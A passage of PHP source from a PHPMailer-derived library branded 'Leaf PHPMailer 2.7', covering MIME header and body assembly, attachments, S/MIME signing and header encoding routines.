  1941. $foundSplitPos = false;
  1942. $lookBack = 3;
  1943. while (!$foundSplitPos) {
  1944. $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  1945. $encodedCharPos = strpos($lastChunk, '=');
  1946. if (false !== $encodedCharPos) {
  1947. // Found start of encoded character byte within $lookBack block.
  1948. // Check the encoded byte value (the 2 chars after the '=')
  1949. $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  1950. $dec = hexdec($hex);
  1951. if ($dec < 128) {
  1952. // Single byte character.
  1953. // If the encoded char was found at pos 0, it will fit
  1954. // otherwise reduce maxLength to start of the encoded char
  1955. if ($encodedCharPos > 0) {
  1956. $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  1957. }
  1958. $foundSplitPos = true;
  1959. } elseif ($dec >= 192) {
  1960. // First byte of a multi byte character
  1961. // Reduce maxLength to split at start of character
  1962. $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  1963. $foundSplitPos = true;
  1964. } elseif ($dec < 192) {
  1965. // Middle byte of a multi byte character, look further back
  1966. $lookBack += 3;
  1967. }
  1968. } else {
  1969. // No encoded character found
  1970. $foundSplitPos = true;
  1971. }
  1972. }
  1973. return $maxLength;
  1974. }
  1975.  
  1976. /**
  1977. * Apply word wrapping to the message body.
  1978. * Wraps the message body to the number of chars set in the WordWrap property.
  1979. * You should only do this to plain-text bodies as wrapping HTML tags may break them.
  1980. * This is called automatically by createBody(), so you don't need to call it yourself.
  1981. * @access public
  1982. * @return void
  1983. */
  1984. public function setWordWrap()
  1985. {
  1986. if ($this->WordWrap < 1) {
  1987. return;
  1988. }
  1989.  
  1990. switch ($this->message_type) {
  1991. case 'alt':
  1992. case 'alt_inline':
  1993. case 'alt_attach':
  1994. case 'alt_inline_attach':
  1995. $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
  1996. break;
  1997. default:
  1998. $this->Body = $this->wrapText($this->Body, $this->WordWrap);
  1999. break;
  2000. }
  2001. }
  2002.  
  2003. /**
  2004. * Assemble message headers.
  2005. * @access public
  2006. * @return string The assembled headers
  2007. */
  2008. public function createHeader()
  2009. {
  2010. $result = '';
  2011.  
  2012. if ($this->MessageDate == '') {
  2013. $this->MessageDate = self::rfcDate();
  2014. }
  2015. $result .= $this->headerLine('Date', $this->MessageDate);
  2016.  
  2017. // To be created automatically by mail()
  2018. if ($this->SingleTo) {
  2019. if ($this->Mailer != 'mail') {
  2020. foreach ($this->to as $toaddr) {
  2021. $this->SingleToArray[] = $this->addrFormat($toaddr);
  2022. }
  2023. }
  2024. } else {
  2025. if (count($this->to) > 0) {
  2026. if ($this->Mailer != 'mail') {
  2027. $result .= $this->addrAppend('To', $this->to);
  2028. }
  2029. } elseif (count($this->cc) == 0) {
  2030. $result .= $this->headerLine('To', 'undisclosed-recipients:;');
  2031. }
  2032. }
  2033.  
  2034. $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));
  2035.  
  2036. // sendmail and mail() extract Cc from the header before sending
  2037. if (count($this->cc) > 0) {
  2038. $result .= $this->addrAppend('Cc', $this->cc);
  2039. }
  2040.  
  2041. // sendmail and mail() extract Bcc from the header before sending
  2042. if ((
  2043. $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
  2044. )
  2045. and count($this->bcc) > 0
  2046. ) {
  2047. $result .= $this->addrAppend('Bcc', $this->bcc);
  2048. }
  2049.  
  2050. if (count($this->ReplyTo) > 0) {
  2051. $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
  2052. }
  2053.  
  2054. // mail() sets the subject itself
  2055. if ($this->Mailer != 'mail') {
  2056. $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
  2057. }
  2058.  
  2059. if ($this->MessageID != '') {
  2060. $this->lastMessageID = $this->MessageID;
  2061. } else {
  2062. $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
  2063. }
  2064. $result .= $this->headerLine('Message-ID', $this->lastMessageID);
  2065. if (!is_null($this->Priority)) {
  2066. $result .= $this->headerLine('X-Priority', $this->Priority);
  2067. }
  2068. if ($this->XMailer == '') {
  2069. $result .= $this->headerLine(
  2070. 'X-Mailer',
  2071. 'Leaf PHPMailer 2.7 (leafmailer.pw)'
  2072. );
  2073. } else {
  2074. $myXmailer = trim($this->XMailer);
  2075. if ($myXmailer) {
  2076. $result .= $this->headerLine('X-Mailer', $myXmailer);
  2077. }
  2078. }
  2079.  
  2080. if ($this->ConfirmReadingTo != '') {
  2081. $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
  2082. }
  2083.  
  2084. // Add custom headers
  2085. foreach ($this->CustomHeader as $header) {
  2086. $result .= $this->headerLine(
  2087. trim($header[0]),
  2088. $this->encodeHeader(trim($header[1]))
  2089. );
  2090. }
  2091. if (!$this->sign_key_file) {
  2092. $result .= $this->headerLine('MIME-Version', '1.0');
  2093. $result .= $this->getMailMIME();
  2094. }
  2095.  
  2096. return $result;
  2097. }
  2098.  
  2099. /**
  2100. * Get the message MIME type headers.
  2101. * @access public
  2102. * @return string
  2103. */
  2104. public function getMailMIME()
  2105. {
  2106. $result = '';
  2107. $ismultipart = true;
  2108. switch ($this->message_type) {
  2109. case 'inline':
  2110. $result .= $this->headerLine('Content-Type', 'multipart/related;');
  2111. $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  2112. break;
  2113. case 'attach':
  2114. case 'inline_attach':
  2115. case 'alt_attach':
  2116. case 'alt_inline_attach':
  2117. $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
  2118. $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  2119. break;
  2120. case 'alt':
  2121. case 'alt_inline':
  2122. $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
  2123. $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  2124. break;
  2125. default:
  2126. // Catches case 'plain': and case '':
  2127. $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
  2128. $ismultipart = false;
  2129. break;
  2130. }
  2131. // RFC1341 part 5 says 7bit is assumed if not specified
  2132. if ($this->Encoding != '7bit') {
  2133. // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
  2134. if ($ismultipart) {
  2135. if ($this->Encoding == '8bit') {
  2136. $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
  2137. }
  2138. // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
  2139. } else {
  2140. $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
  2141. }
  2142. }
  2143.  
  2144. if ($this->Mailer != 'mail') {
  2145. $result .= $this->LE;
  2146. }
  2147.  
  2148. return $result;
  2149. }
  2150.  
  2151. /**
  2152. * Returns the whole MIME message.
  2153. * Includes complete headers and body.
  2154. * Only valid post preSend().
  2155. * @see PHPMailer::preSend()
  2156. * @access public
  2157. * @return string
  2158. */
  2159. public function getSentMIMEMessage()
  2160. {
  2161. return $this->MIMEHeader . $this->mailHeader . self::CRLF . $this->MIMEBody;
  2162. }
  2163.  
  2164. /**
  2165. * Assemble the message body.
  2166. * Returns an empty string on failure.
  2167. * @access public
  2168. * @throws phpmailerException
  2169. * @return string The assembled message body
  2170. */
  2171. public function createBody()
  2172. {
  2173. $body = '';
  2174. //Create unique IDs and preset boundaries
  2175. $this->uniqueid = md5(uniqid(time()));
  2176. $this->boundary[1] = 'b1_' . $this->uniqueid;
  2177. $this->boundary[2] = 'b2_' . $this->uniqueid;
  2178. $this->boundary[3] = 'b3_' . $this->uniqueid;
  2179.  
  2180. if ($this->sign_key_file) {
  2181. $body .= $this->getMailMIME() . $this->LE;
  2182. }
  2183.  
  2184. $this->setWordWrap();
  2185.  
  2186. $bodyEncoding = $this->Encoding;
  2187. $bodyCharSet = $this->CharSet;
  2188. //Can we do a 7-bit downgrade?
  2189. if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
  2190. $bodyEncoding = '7bit';
  2191. $bodyCharSet = 'us-ascii';
  2192. }
  2193. //If lines are too long, and we're not already using an encoding that will shorten them,
  2194. //change to quoted-printable transfer encoding
  2195. if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
  2196. $this->Encoding = 'quoted-printable';
  2197. $bodyEncoding = 'quoted-printable';
  2198. }
  2199.  
  2200. $altBodyEncoding = $this->Encoding;
  2201. $altBodyCharSet = $this->CharSet;
  2202. //Can we do a 7-bit downgrade?
  2203. if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
  2204. $altBodyEncoding = '7bit';
  2205. $altBodyCharSet = 'us-ascii';
  2206. }
  2207. //If lines are too long, and we're not already using an encoding that will shorten them,
  2208. //change to quoted-printable transfer encoding
  2209. if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
  2210. $altBodyEncoding = 'quoted-printable';
  2211. }
  2212. //Use this as a preamble in all multipart message types
  2213. $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
  2214. switch ($this->message_type) {
  2215. case 'inline':
  2216. $body .= $mimepre;
  2217. $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  2218. $body .= $this->encodeString($this->Body, $bodyEncoding);
  2219. $body .= $this->LE . $this->LE;
  2220. $body .= $this->attachAll('inline', $this->boundary[1]);
  2221. break;
  2222. case 'attach':
  2223. $body .= $mimepre;
  2224. $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  2225. $body .= $this->encodeString($this->Body, $bodyEncoding);
  2226. $body .= $this->LE . $this->LE;
  2227. $body .= $this->attachAll('attachment', $this->boundary[1]);
  2228. break;
  2229. case 'inline_attach':
  2230. $body .= $mimepre;
  2231. $body .= $this->textLine('--' . $this->boundary[1]);
  2232. $body .= $this->headerLine('Content-Type', 'multipart/related;');
  2233. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  2234. $body .= $this->LE;
  2235. $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
  2236. $body .= $this->encodeString($this->Body, $bodyEncoding);
  2237. $body .= $this->LE . $this->LE;
  2238. $body .= $this->attachAll('inline', $this->boundary[2]);
  2239. $body .= $this->LE;
  2240. $body .= $this->attachAll('attachment', $this->boundary[1]);
  2241. break;
  2242. case 'alt':
  2243. $body .= $mimepre;
  2244. $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  2245. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  2246. $body .= $this->LE . $this->LE;
  2247. $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
  2248. $body .= $this->encodeString($this->Body, $bodyEncoding);
  2249. $body .= $this->LE . $this->LE;
  2250. if (!empty($this->Ical)) {
  2251. $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
  2252. $body .= $this->encodeString($this->Ical, $this->Encoding);
  2253. $body .= $this->LE . $this->LE;
  2254. }
  2255. $body .= $this->endBoundary($this->boundary[1]);
  2256. break;
  2257. case 'alt_inline':
  2258. $body .= $mimepre;
  2259. $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  2260. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  2261. $body .= $this->LE . $this->LE;
  2262. $body .= $this->textLine('--' . $this->boundary[1]);
  2263. $body .= $this->headerLine('Content-Type', 'multipart/related;');
  2264. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  2265. $body .= $this->LE;
  2266. $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  2267. $body .= $this->encodeString($this->Body, $bodyEncoding);
  2268. $body .= $this->LE . $this->LE;
  2269. $body .= $this->attachAll('inline', $this->boundary[2]);
  2270. $body .= $this->LE;
  2271. $body .= $this->endBoundary($this->boundary[1]);
  2272. break;
  2273. case 'alt_attach':
  2274. $body .= $mimepre;
  2275. $body .= $this->textLine('--' . $this->boundary[1]);
  2276. $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
  2277. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  2278. $body .= $this->LE;
  2279. $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  2280. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  2281. $body .= $this->LE . $this->LE;
  2282. $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  2283. $body .= $this->encodeString($this->Body, $bodyEncoding);
  2284. $body .= $this->LE . $this->LE;
  2285. $body .= $this->endBoundary($this->boundary[2]);
  2286. $body .= $this->LE;
  2287. $body .= $this->attachAll('attachment', $this->boundary[1]);
  2288. break;
  2289. case 'alt_inline_attach':
  2290. $body .= $mimepre;
  2291. $body .= $this->textLine('--' . $this->boundary[1]);
  2292. $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
  2293. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  2294. $body .= $this->LE;
  2295. $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  2296. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  2297. $body .= $this->LE . $this->LE;
  2298. $body .= $this->textLine('--' . $this->boundary[2]);
  2299. $body .= $this->headerLine('Content-Type', 'multipart/related;');
  2300. $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
  2301. $body .= $this->LE;
  2302. $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
  2303. $body .= $this->encodeString($this->Body, $bodyEncoding);
  2304. $body .= $this->LE . $this->LE;
  2305. $body .= $this->attachAll('inline', $this->boundary[3]);
  2306. $body .= $this->LE;
  2307. $body .= $this->endBoundary($this->boundary[2]);
  2308. $body .= $this->LE;
  2309. $body .= $this->attachAll('attachment', $this->boundary[1]);
  2310. break;
  2311. default:
  2312. // catch case 'plain' and case ''
  2313. $body .= $this->encodeString($this->Body, $bodyEncoding);
  2314. break;
  2315. }
  2316.  
  2317. if ($this->isError()) {
  2318. $body = '';
  2319. } elseif ($this->sign_key_file) {
  2320. try {
  2321. if (!defined('PKCS7_TEXT')) {
  2322. throw new phpmailerException($this->lang('extension_missing') . 'openssl');
  2323. }
  2324. // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
  2325. $file = tempnam(sys_get_temp_dir(), 'mail');
  2326. if (false === file_put_contents($file, $body)) {
  2327. throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
  2328. }
  2329. $signed = tempnam(sys_get_temp_dir(), 'signed');
  2330. //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
  2331. if (empty($this->sign_extracerts_file)) {
  2332. $sign = @openssl_pkcs7_sign(
  2333. $file,
  2334. $signed,
  2335. 'file://' . realpath($this->sign_cert_file),
  2336. array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
  2337. null
  2338. );
  2339. } else {
  2340. $sign = @openssl_pkcs7_sign(
  2341. $file,
  2342. $signed,
  2343. 'file://' . realpath($this->sign_cert_file),
  2344. array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
  2345. null,
  2346. PKCS7_DETACHED,
  2347. $this->sign_extracerts_file
  2348. );
  2349. }
  2350. if ($sign) {
  2351. @unlink($file);
  2352. $body = file_get_contents($signed);
  2353. @unlink($signed);
  2354. //The message returned by openssl contains both headers and body, so need to split them up
  2355. $parts = explode("\n\n", $body, 2);
  2356. $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
  2357. $body = $parts[1];
  2358. } else {
  2359. @unlink($file);
  2360. @unlink($signed);
  2361. throw new phpmailerException($this->lang('signing') . openssl_error_string());
  2362. }
  2363. } catch (phpmailerException $exc) {
  2364. $body = '';
  2365. if ($this->exceptions) {
  2366. throw $exc;
  2367. }
  2368. }
  2369. }
  2370. return $body;
  2371. }
  2372.  
  2373. /**
  2374. * Return the start of a message boundary.
  2375. * @access protected
  2376. * @param string $boundary
  2377. * @param string $charSet
  2378. * @param string $contentType
  2379. * @param string $encoding
  2380. * @return string
  2381. */
  2382. protected function getBoundary($boundary, $charSet, $contentType, $encoding)
  2383. {
  2384. $result = '';
  2385. if ($charSet == '') {
  2386. $charSet = $this->CharSet;
  2387. }
  2388. if ($contentType == '') {
  2389. $contentType = $this->ContentType;
  2390. }
  2391. if ($encoding == '') {
  2392. $encoding = $this->Encoding;
  2393. }
  2394. $result .= $this->textLine('--' . $boundary);
  2395. $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
  2396. $result .= $this->LE;
  2397. // RFC1341 part 5 says 7bit is assumed if not specified
  2398. if ($encoding != '7bit') {
  2399. $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
  2400. }
  2401. $result .= $this->LE;
  2402.  
  2403. return $result;
  2404. }
  2405.  
  2406. /**
  2407. * Return the end of a message boundary.
  2408. * @access protected
  2409. * @param string $boundary
  2410. * @return string
  2411. */
  2412. protected function endBoundary($boundary)
  2413. {
  2414. return $this->LE . '--' . $boundary . '--' . $this->LE;
  2415. }
  2416.  
  2417. /**
  2418. * Set the message type.
  2419. * PHPMailer only supports some preset message types,
  2420. * not arbitrary MIME structures.
  2421. * @access protected
  2422. * @return void
  2423. */
  2424. protected function setMessageType()
  2425. {
  2426. $type = array();
  2427. if ($this->alternativeExists()) {
  2428. $type[] = 'alt';
  2429. }
  2430. if ($this->inlineImageExists()) {
  2431. $type[] = 'inline';
  2432. }
  2433. if ($this->attachmentExists()) {
  2434. $type[] = 'attach';
  2435. }
  2436. $this->message_type = implode('_', $type);
  2437. if ($this->message_type == '') {
  2438. $this->message_type = 'plain';
  2439. }
  2440. }
  2441.  
  2442. /**
  2443. * Format a header line.
  2444. * @access public
  2445. * @param string $name
  2446. * @param string $value
  2447. * @return string
  2448. */
  2449. public function headerLine($name, $value)
  2450. {
  2451. return $name . ': ' . $value . $this->LE;
  2452. }
  2453.  
  2454. /**
  2455. * Return a formatted mail line.
  2456. * @access public
  2457. * @param string $value
  2458. * @return string
  2459. */
  2460. public function textLine($value)
  2461. {
  2462. return $value . $this->LE;
  2463. }
  2464.  
  2465. /**
  2466. * Add an attachment from a path on the filesystem.
  2467. * Returns false if the file could not be found or read.
  2468. * @param string $path Path to the attachment.
  2469. * @param string $name Overrides the attachment name.
  2470. * @param string $encoding File encoding (see $Encoding).
  2471. * @param string $type File extension (MIME) type.
  2472. * @param string $disposition Disposition to use
  2473. * @throws phpmailerException
  2474. * @return boolean
  2475. */
  2476. public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
  2477. {
  2478. try {
  2479. if (!@is_file($path)) {
  2480. throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
  2481. }
  2482.  
  2483. // If a MIME type is not specified, try to work it out from the file name
  2484. if ($type == '') {
  2485. $type = self::filenameToType($path);
  2486. }
  2487.  
  2488. $filename = basename($path);
  2489. if ($name == '') {
  2490. $name = $filename;
  2491. }
  2492.  
  2493. $this->attachment[] = array(
  2494. 0 => $path,
  2495. 1 => $filename,
  2496. 2 => $name,
  2497. 3 => $encoding,
  2498. 4 => $type,
  2499. 5 => false, // isStringAttachment
  2500. 6 => $disposition,
  2501. 7 => 0
  2502. );
  2503.  
  2504. } catch (phpmailerException $exc) {
  2505. $this->setError($exc->getMessage());
  2506. $this->edebug($exc->getMessage());
  2507. if ($this->exceptions) {
  2508. throw $exc;
  2509. }
  2510. return false;
  2511. }
  2512. return true;
  2513. }
  2514.  
  2515. /**
  2516. * Return the array of attachments.
  2517. * @return array
  2518. */
  2519. public function getAttachments()
  2520. {
  2521. return $this->attachment;
  2522. }
  2523.  
  2524. /**
  2525. * Attach all file, string, and binary attachments to the message.
  2526. * Returns an empty string on failure.
  2527. * @access protected
  2528. * @param string $disposition_type
  2529. * @param string $boundary
  2530. * @return string
  2531. */
  2532. protected function attachAll($disposition_type, $boundary)
  2533. {
  2534. // Return text of body
  2535. $mime = array();
  2536. $cidUniq = array();
  2537. $incl = array();
  2538.  
  2539. // Add all attachments
  2540. foreach ($this->attachment as $attachment) {
  2541. // Check if it is a valid disposition_filter
  2542. if ($attachment[6] == $disposition_type) {
  2543. // Check for string attachment
  2544. $string = '';
  2545. $path = '';
  2546. $bString = $attachment[5];
  2547. if ($bString) {
  2548. $string = $attachment[0];
  2549. } else {
  2550. $path = $attachment[0];
  2551. }
  2552.  
  2553. $inclhash = md5(serialize($attachment));
  2554. if (in_array($inclhash, $incl)) {
  2555. continue;
  2556. }
  2557. $incl[] = $inclhash;
  2558. $name = $attachment[2];
  2559. $encoding = $attachment[3];
  2560. $type = $attachment[4];
  2561. $disposition = $attachment[6];
  2562. $cid = $attachment[7];
  2563. if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
  2564. continue;
  2565. }
  2566. $cidUniq[$cid] = true;
  2567.  
  2568. $mime[] = sprintf('--%s%s', $boundary, $this->LE);
  2569. //Only include a filename property if we have one
  2570. if (!empty($name)) {
  2571. $mime[] = sprintf(
  2572. 'Content-Type: %s; name="%s"%s',
  2573. $type,
  2574. $this->encodeHeader($this->secureHeader($name)),
  2575. $this->LE
  2576. );
  2577. } else {
  2578. $mime[] = sprintf(
  2579. 'Content-Type: %s%s',
  2580. $type,
  2581. $this->LE
  2582. );
  2583. }
  2584. // RFC1341 part 5 says 7bit is assumed if not specified
  2585. if ($encoding != '7bit') {
  2586. $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
  2587. }
  2588.  
  2589. if ($disposition == 'inline') {
  2590. $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
  2591. }
  2592.  
  2593. // If a filename contains any of these chars, it should be quoted,
  2594. // but not otherwise: RFC2183 & RFC2045 5.1
  2595. // Fixes a warning in IETF's msglint MIME checker
  2596. // Allow for bypassing the Content-Disposition header totally
  2597. if (!(empty($disposition))) {
  2598. $encoded_name = $this->encodeHeader($this->secureHeader($name));
  2599. if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
  2600. $mime[] = sprintf(
  2601. 'Content-Disposition: %s; filename="%s"%s',
  2602. $disposition,
  2603. $encoded_name,
  2604. $this->LE . $this->LE
  2605. );
  2606. } else {
  2607. if (!empty($encoded_name)) {
  2608. $mime[] = sprintf(
  2609. 'Content-Disposition: %s; filename=%s%s',
  2610. $disposition,
  2611. $encoded_name,
  2612. $this->LE . $this->LE
  2613. );
  2614. } else {
  2615. $mime[] = sprintf(
  2616. 'Content-Disposition: %s%s',
  2617. $disposition,
  2618. $this->LE . $this->LE
  2619. );
  2620. }
  2621. }
  2622. } else {
  2623. $mime[] = $this->LE;
  2624. }
  2625.  
  2626. // Encode as string attachment
  2627. if ($bString) {
  2628. $mime[] = $this->encodeString($string, $encoding);
  2629. if ($this->isError()) {
  2630. return '';
  2631. }
  2632. $mime[] = $this->LE . $this->LE;
  2633. } else {
  2634. $mime[] = $this->encodeFile($path, $encoding);
  2635. if ($this->isError()) {
  2636. return '';
  2637. }
  2638. $mime[] = $this->LE . $this->LE;
  2639. }
  2640. }
  2641. }
  2642.  
  2643. $mime[] = sprintf('--%s--%s', $boundary, $this->LE);
  2644.  
  2645. return implode('', $mime);
  2646. }
  2647.  
  2648. /**
  2649. * Encode a file attachment in requested format.
  2650. * Returns an empty string on failure.
  2651. * @param string $path The full path to the file
  2652. * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
  2653. * @throws phpmailerException
  2654. * @access protected
  2655. * @return string
  2656. */
  2657. protected function encodeFile($path, $encoding = 'base64')
  2658. {
  2659. try {
  2660. if (!is_readable($path)) {
  2661. throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
  2662. }
  2663. $magic_quotes = get_magic_quotes_runtime();
  2664. if ($magic_quotes) {
  2665. if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  2666. set_magic_quotes_runtime(false);
  2667. } else {
  2668. //Doesn't exist in PHP 5.4, but we don't need to check because
  2669. //get_magic_quotes_runtime always returns false in 5.4+
  2670. //so it will never get here
  2671. ini_set('magic_quotes_runtime', false);
  2672. }
  2673. }
  2674. $file_buffer = file_get_contents($path);
  2675. $file_buffer = $this->encodeString($file_buffer, $encoding);
  2676. if ($magic_quotes) {
  2677. if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  2678. set_magic_quotes_runtime($magic_quotes);
  2679. } else {
  2680. ini_set('magic_quotes_runtime', $magic_quotes);
  2681. }
  2682. }
  2683. return $file_buffer;
  2684. } catch (Exception $exc) {
  2685. $this->setError($exc->getMessage());
  2686. return '';
  2687. }
  2688. }
  2689.  
  2690. /**
  2691. * Encode a string in requested format.
  2692. * Returns an empty string on failure.
  2693. * @param string $str The text to encode
  2694. * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
  2695. * @access public
  2696. * @return string
  2697. */
  2698. public function encodeString($str, $encoding = 'base64')
  2699. {
  2700. $encoded = '';
  2701. switch (strtolower($encoding)) {
  2702. case 'base64':
  2703. $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  2704. break;
  2705. case '7bit':
  2706. case '8bit':
  2707. $encoded = $this->fixEOL($str);
  2708. // Make sure it ends with a line break
  2709. if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
  2710. $encoded .= $this->LE;
  2711. }
  2712. break;
  2713. case 'binary':
  2714. $encoded = $str;
  2715. break;
  2716. case 'quoted-printable':
  2717. $encoded = $this->encodeQP($str);
  2718. break;
  2719. default:
  2720. $this->setError($this->lang('encoding') . $encoding);
  2721. break;
  2722. }
  2723. return $encoded;
  2724. }
  2725.  
  2726. /**
  2727. * Encode a header string optimally.
  2728. * Picks shortest of Q, B, quoted-printable or none.
  2729. * @access public
  2730. * @param string $str
  2731. * @param string $position
  2732. * @return string
  2733. */
  2734. public function encodeHeader($str, $position = 'text')
  2735. {
  2736. $matchcount = 0;
  2737. switch (strtolower($position)) {
  2738. case 'phrase':
  2739. if (!preg_match('/[\200-\377]/', $str)) {
  2740. // Can't use addslashes as we don't know the value of magic_quotes_sybase
  2741. $encoded = addcslashes($str, "\0..\37\177\\\"");
  2742. if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  2743. return ($encoded);
  2744. } else {
  2745. return ("\"$encoded\"");
  2746. }
  2747. }
  2748. $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  2749. break;
  2750. /** @noinspection PhpMissingBreakStatementInspection */
  2751. case 'comment':
  2752. $matchcount = preg_match_all('/[()"]/', $str, $matches);
  2753. // Intentional fall-through
  2754. case 'text':
  2755. default:
  2756. $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  2757. break;
  2758. }
  2759.  
  2760. //There are no chars that need encoding
  2761. if ($matchcount == 0) {
  2762. return ($str);
  2763. }
  2764.  
  2765. $maxlen = 75 - 7 - strlen($this->CharSet);
  2766. // Try to select the encoding which should produce the shortest output
  2767. if ($matchcount > strlen($str) / 3) {
  2768. // More than a third of the content will need encoding, so B encoding will be most efficient
  2769. $encoding = 'B';
  2770. if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
  2771. // Use a custom function which correctly encodes and wraps long
  2772. // multibyte strings without breaking lines within a character
  2773. $encoded = $this->base64EncodeWrapMB($str, "\n");
  2774. } else {
  2775. $encoded = base64_encode($str);
  2776. $maxlen -= $maxlen % 4;
  2777. $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  2778. }
  2779. } else {
  2780. $encoding = 'Q';
  2781. $encoded = $this->encodeQ($str, $position);
  2782. $encoded = $this->wrapText($encoded, $maxlen, true);
  2783. $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
  2784. }
  2785.  
  2786. $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
  2787. $encoded = trim(str_replace("\n", $this->LE, $encoded));
  2788.  
  2789. return $encoded;
  2790. }
  2791.  
  2792. /**
  2793. * Check if a string contains multi-byte characters.
  2794. * @access public
  2795. * @param string $str multi-byte text to wrap encode
  2796. * @return boolean
  2797. */
  2798. public function hasMultiBytes($str)
  2799. {
  2800. if (function_exists('mb_strlen')) {
  2801. return (strlen($str) > mb_strlen($str, $this->CharSet));
  2802. } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
  2803. return false;
  2804. }
  2805. }
  2806.  
  2807. /**
  2808. * Does a string contain any 8-bit chars (in any charset)?
  2809. * @param string $text
  2810. * @return boolean
  2811. */
  2812. public function has8bitChars($text)
  2813. {
  2814. return (boolean)preg_match('/[\x80-\xFF]/', $text);
  2815. }
  2816.  
  2817. /**
  2818. * Encode and wrap long multibyte strings for mail headers
  2819. * without breaking lines within a character.
  2820. * Adapted from a function by paravoid
  2821. * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
  2822. * @access public
  2823. * @param string $str multi-byte text to wrap encode
  2824. * @param string $linebreak string to use as linefeed/end-of-line
  2825. * @return string
  2826. */
  2827. public function base64EncodeWrapMB($str, $linebreak = null)
  2828. {
  2829. $start = '=?' . $this->CharSet . '?B?';
  2830. $end = '?=';
  2831. $encoded = '';
  2832. if ($linebreak === null) {
  2833. $linebreak = $this->LE;
  2834. }
  2835.  
  2836. $mb_length = mb_strlen($str, $this->CharSet);
  2837. // Each line must have length <= 75, including $start and $end
